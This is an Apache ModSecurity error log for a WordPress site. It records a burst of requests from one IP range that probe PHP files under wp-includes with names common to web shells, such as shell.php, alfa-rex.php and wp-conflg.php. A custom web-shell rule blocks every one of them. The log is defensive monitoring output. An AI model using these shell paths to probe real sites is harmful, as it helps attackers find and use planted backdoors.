[Sat Nov 22 05:19:26.367577 2025] [:error] [pid 53477:tid 53499] [client 194.5.82.122:62463] [client 194.5.82.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "aSDXXn7Lu30Ku9O40aLPjwAAABI"]
[Sat Nov 22 05:19:26.693943 2025] [:error] [pid 53566:tid 53570] [client 194.5.82.125:50885] [client 194.5.82.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/about.php"] [unique_id "aSDXXsbSHDBkRbwMbd4m9wAAAMI"]
[Sat Nov 22 05:19:28.597731 2025] [:error] [pid 25856:tid 25878] [client 194.5.82.144:44507] [client 194.5.82.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aSDXYBsTP0wy94zKUvGZpgAAARQ"]
[Sat Nov 22 05:19:28.786370 2025] [:error] [pid 53478:tid 53530] [client 194.5.82.154:31433] [client 194.5.82.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/simi.php"] [unique_id "aSDXYAhUYdXBbQswAdQEPwAAAFU"]
[Sat Nov 22 05:19:32.569223 2025] [:error] [pid 53478:tid 53529] [client 194.5.82.106:56191] [client 194.5.82.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "aSDXZAhUYdXBbQswAdQEVAAAAFQ"]
[Sat Nov 22 05:19:34.788420 2025] [:error] [pid 53477:tid 53494] [client 194.5.82.111:57677] [client 194.5.82.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/abcd.php"] [unique_id "aSDXZn7Lu30Ku9O40aLPoQAAAA0"]
[Sat Nov 22 05:19:35.141308 2025] [:error] [pid 53477:tid 53489] [client 194.5.82.105:46079] [client 194.5.82.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/rk2.php"] [unique_id "aSDXZ37Lu30Ku9O40aLPogAAAAg"]
[Sat Nov 22 05:19:35.333693 2025] [:error] [pid 53479:tid 53553] [client 194.5.82.121:22047] [client 194.5.82.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-interpreter.php"] [unique_id "aSDXZ26cicFF3Aas-oRnZwAAAJE"]
[Sat Nov 22 05:19:39.527939 2025] [:error] [pid 25856:tid 25863] [client 194.5.82.132:35915] [client 194.5.82.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-template-utils-other.php"] [unique_id "aSDXaxsTP0wy94zKUvGZ2gAAAQU"]
[Sat Nov 22 05:19:43.392346 2025] [:error] [pid 53477:tid 53495] [client 194.5.82.153:59545] [client 194.5.82.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sodium_compat/lib/widget-group.php"] [unique_id "aSDXb37Lu30Ku9O40aLPugAAAA4"]
[Sat Nov 22 05:19:45.538017 2025] [:error] [pid 53477:tid 53495] [client 194.5.82.130:39245] [client 194.5.82.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jcrop/about.php"] [unique_id "aSDXcX7Lu30Ku9O40aLPxwAAAA4"]
[Sat Nov 22 05:19:45.913147 2025] [:error] [pid 53566:tid 53581] [client 194.5.82.114:35903] [client 194.5.82.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aSDXccbSHDBkRbwMbd4nLwAAAM0"]
[Sat Nov 22 05:19:53.900332 2025] [:error] [pid 53479:tid 53549] [client 194.5.82.137:44983] [client 194.5.82.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/plugin.php"] [unique_id "aSDXeW6cicFF3Aas-oRnhwAAAI0"]
[Sat Nov 22 05:19:54.197762 2025] [:error] [pid 53478:tid 53512] [client 194.5.82.122:34649] [client 194.5.82.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-scripts-query.php"] [unique_id "aSDXeghUYdXBbQswAdQEdwAAAEM"]
[Sat Nov 22 05:19:58.399779 2025] [:error] [pid 53478:tid 53519] [client 194.5.82.160:65483] [client 194.5.82.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/module.audio-license.php"] [unique_id "aSDXfghUYdXBbQswAdQEgAAAAEo"]
[Sat Nov 22 05:20:06.077824 2025] [:error] [pid 53479:tid 53555] [client 194.5.82.161:33665] [client 194.5.82.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-error-module.php"] [unique_id "aSDXhm6cicFF3Aas-oRnngAAAJM"]
[Sat Nov 22 05:20:09.785818 2025] [:error] [pid 25856:tid 25879] [client 194.5.82.156:51649] [client 194.5.82.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/litespeed.php"] [unique_id "aSDXiRsTP0wy94zKUvGaLwAAARU"]
[Sat Nov 22 05:20:12.144612 2025] [:error] [pid 53566:tid 53590] [client 194.5.82.128:34223] [client 194.5.82.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/alam.php"] [unique_id "aSDXjMbSHDBkRbwMbd4nagAAANY"]
[Sat Nov 22 05:20:14.166854 2025] [:error] [pid 25856:tid 25877] [client 194.5.82.111:21931] [client 194.5.82.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-bindings/imagess.php"] [unique_id "aSDXjhsTP0wy94zKUvGaNwAAARM"]
[Sat Nov 22 05:20:14.553831 2025] [:error] [pid 53478:tid 53527] [client 194.5.82.139:36019] [client 194.5.82.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/default-filters-edit.php"] [unique_id "aSDXjghUYdXBbQswAdQEpgAAAFI"]
[Sat Nov 22 05:20:21.717980 2025] [:error] [pid 53566:tid 53575] [client 194.5.82.134:56601] [client 194.5.82.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aSDXlcbSHDBkRbwMbd4ngQAAAMc"]
[Sat Nov 22 05:20:27.521765 2025] [:error] [pid 25856:tid 25869] [client 194.5.82.124:65311] [client 194.5.82.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/theme.php"] [unique_id "aSDXmxsTP0wy94zKUvGaVgAAAQs"]
[Sat Nov 22 05:20:27.855721 2025] [proxy_fcgi:error] [pid 25856:tid 25873] [client 194.5.82.169:60147] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:20:27.952319 2025] [:error] [pid 25856:tid 25859] [client 194.5.82.169:60147] [client 194.5.82.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/shell.php"] [unique_id "aSDXmxsTP0wy94zKUvGaWwAAAQE"]
[Sat Nov 22 05:20:29.612867 2025] [:error] [pid 53478:tid 53510] [client 194.5.82.106:42543] [client 194.5.82.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/class-wp-customize-selective-refresh-library.php"] [unique_id "aSDXnQhUYdXBbQswAdQEvQAAAEE"]
[Sat Nov 22 05:20:34.185936 2025] [:error] [pid 53477:tid 53487] [client 194.5.82.127:36003] [client 194.5.82.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/library/wp-login.php"] [unique_id "aSDXon7Lu30Ku9O40aLQTgAAAAY"]
[Sat Nov 22 05:20:34.399801 2025] [:error] [pid 25856:tid 25868] [client 194.5.82.116:53743] [client 194.5.82.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/interactivity-api/about.php"] [unique_id "aSDXohsTP0wy94zKUvGabQAAAQo"]
[Sat Nov 22 05:20:43.047563 2025] [:error] [pid 53566:tid 53573] [client 194.5.82.152:63825] [client 194.5.82.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-2019.php"] [unique_id "aSDXq8bSHDBkRbwMbd4nuwAAAMU"]
[Sat Nov 22 05:20:43.234228 2025] [:error] [pid 25856:tid 25860] [client 194.5.82.145:31149] [client 194.5.82.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/info.php"] [unique_id "aSDXqxsTP0wy94zKUvGajQAAAQI"]
[Sat Nov 22 05:20:45.168977 2025] [:error] [pid 53479:tid 53552] [client 194.5.82.111:30681] [client 194.5.82.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/log.php"] [unique_id "aSDXrW6cicFF3Aas-oRoaAAAAJA"]
[Sat Nov 22 05:20:45.410898 2025] [:error] [pid 53566:tid 53572] [client 194.5.82.147:58759] [client 194.5.82.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime-num.php"] [unique_id "aSDXrcbSHDBkRbwMbd4nwAAAAMQ"]
[Sat Nov 22 05:20:45.749415 2025] [:error] [pid 53479:tid 53554] [client 194.5.82.157:60419] [client 194.5.82.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-entry.min-object.php"] [unique_id "aSDXrW6cicFF3Aas-oRoaQAAAJI"]
[Sat Nov 22 05:20:46.144140 2025] [:error] [pid 53479:tid 53541] [client 194.5.82.119:51661] [client 194.5.82.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/aw.php"] [unique_id "aSDXrm6cicFF3Aas-oRoagAAAIU"]
[Sat Nov 22 05:20:51.593203 2025] [:error] [pid 53478:tid 53513] [client 194.5.82.155:57075] [client 194.5.82.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/db.php"] [unique_id "aSDXswhUYdXBbQswAdQE2QAAAEQ"]
[Sat Nov 22 05:20:51.933694 2025] [:error] [pid 53477:tid 53484] [client 194.5.82.144:56565] [client 194.5.82.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/install.php"] [unique_id "aSDXs37Lu30Ku9O40aLQaAAAAAM"]
[Sat Nov 22 05:20:55.574819 2025] [:error] [pid 53566:tid 53583] [client 194.5.82.164:41865] [client 194.5.82.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/install.php"] [unique_id "aSDXt8bSHDBkRbwMbd4nzgAAAM8"]
[Sat Nov 22 05:20:55.850179 2025] [:error] [pid 53478:tid 53530] [client 194.5.82.105:26321] [client 194.5.82.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/dedi1.php"] [unique_id "aSDXtwhUYdXBbQswAdQE3AAAAFU"]
[Sat Nov 22 05:20:59.490625 2025] [:error] [pid 53479:tid 53536] [client 194.5.82.154:61017] [client 194.5.82.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/template-less.php"] [unique_id "aSDXu26cicFF3Aas-oRofwAAAIA"]
[Sat Nov 22 05:20:59.681803 2025] [:error] [pid 25856:tid 25879] [client 194.5.82.136:20001] [client 194.5.82.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/alfa-rex.php"] [unique_id "aSDXuxsTP0wy94zKUvGavwAAARU"]
[Sat Nov 22 05:21:08.733019 2025] [:error] [pid 53477:tid 53493] [client 194.5.82.113:53467] [client 194.5.82.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/min.php"] [unique_id "aSDXxH7Lu30Ku9O40aLQiQAAAAw"]
[Sat Nov 22 05:21:08.914606 2025] [:error] [pid 53478:tid 53520] [client 194.5.82.157:55877] [client 194.5.82.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-conflg.php"] [unique_id "aSDXxAhUYdXBbQswAdQE6wAAAEs"]
[Sat Nov 22 05:21:10.982929 2025] [:error] [pid 53478:tid 53533] [client 194.5.82.135:49105] [client 194.5.82.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/file.php"] [unique_id "aSDXxghUYdXBbQswAdQE8wAAAFg"]
[Sat Nov 22 05:21:12.858739 2025] [:error] [pid 53566:tid 53589] [client 194.5.82.164:51247] [client 194.5.82.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aSDXyMbSHDBkRbwMbd4n4wAAANU"]
[Sat Nov 22 05:21:14.861846 2025] [:error] [pid 53479:tid 53546] [client 194.5.82.123:42407] [client 194.5.82.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/load.php"] [unique_id "aSDXym6cicFF3Aas-oRomAAAAIo"]
[Sat Nov 22 05:21:15.057003 2025] [:error] [pid 25856:tid 25877] [client 194.5.82.146:45163] [client 194.5.82.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/chosen.php"] [unique_id "aSDXyxsTP0wy94zKUvGa5AAAARM"]
[Sat Nov 22 05:21:15.320009 2025] [:error] [pid 25856:tid 25871] [client 194.5.82.161:28917] [client 194.5.82.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-theme-float.php"] [unique_id "aSDXyxsTP0wy94zKUvGa5wAAAQ0"]
[Sat Nov 22 05:21:17.485138 2025] [:error] [pid 25856:tid 25868] [client 194.5.82.140:31845] [client 194.5.82.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/wp-style.php"] [unique_id "aSDXzRsTP0wy94zKUvGa8QAAAQo"]
[Sat Nov 22 05:21:19.506368 2025] [:error] [pid 53566:tid 53580] [client 194.5.82.120:64065] [client 194.5.82.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aSDXz8bSHDBkRbwMbd4n8QAAAMw"]
[Sat Nov 22 05:21:23.336249 2025] [:error] [pid 25856:tid 25877] [client 194.5.82.153:50713] [client 194.5.82.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-bindings/admin.php"] [unique_id "aSDX0xsTP0wy94zKUvGbAgAAARM"]
[Sat Nov 22 05:21:23.626110 2025] [:error] [pid 53566:tid 53583] [client 194.5.82.155:42027] [client 194.5.82.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/autoload_classmap.php"] [unique_id "aSDX08bSHDBkRbwMbd4n_AAAAM8"]
[Sat Nov 22 05:21:26.564813 2025] [:error] [pid 53478:tid 53525] [client 194.5.82.137:64257] [client 194.5.82.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/db.php"] [unique_id "aSDX1ghUYdXBbQswAdQFFAAAAFA"]
[Sat Nov 22 05:21:41.511402 2025] [:error] [pid 53479:tid 53555] [client 194.5.82.131:52723] [client 194.5.82.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/system.php"] [unique_id "aSDX5W6cicFF3Aas-oRowAAAAJM"]
[Sat Nov 22 05:21:51.780431 2025] [autoindex:error] [pid 25856:tid 25863] [client 194.5.82.155:39281] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
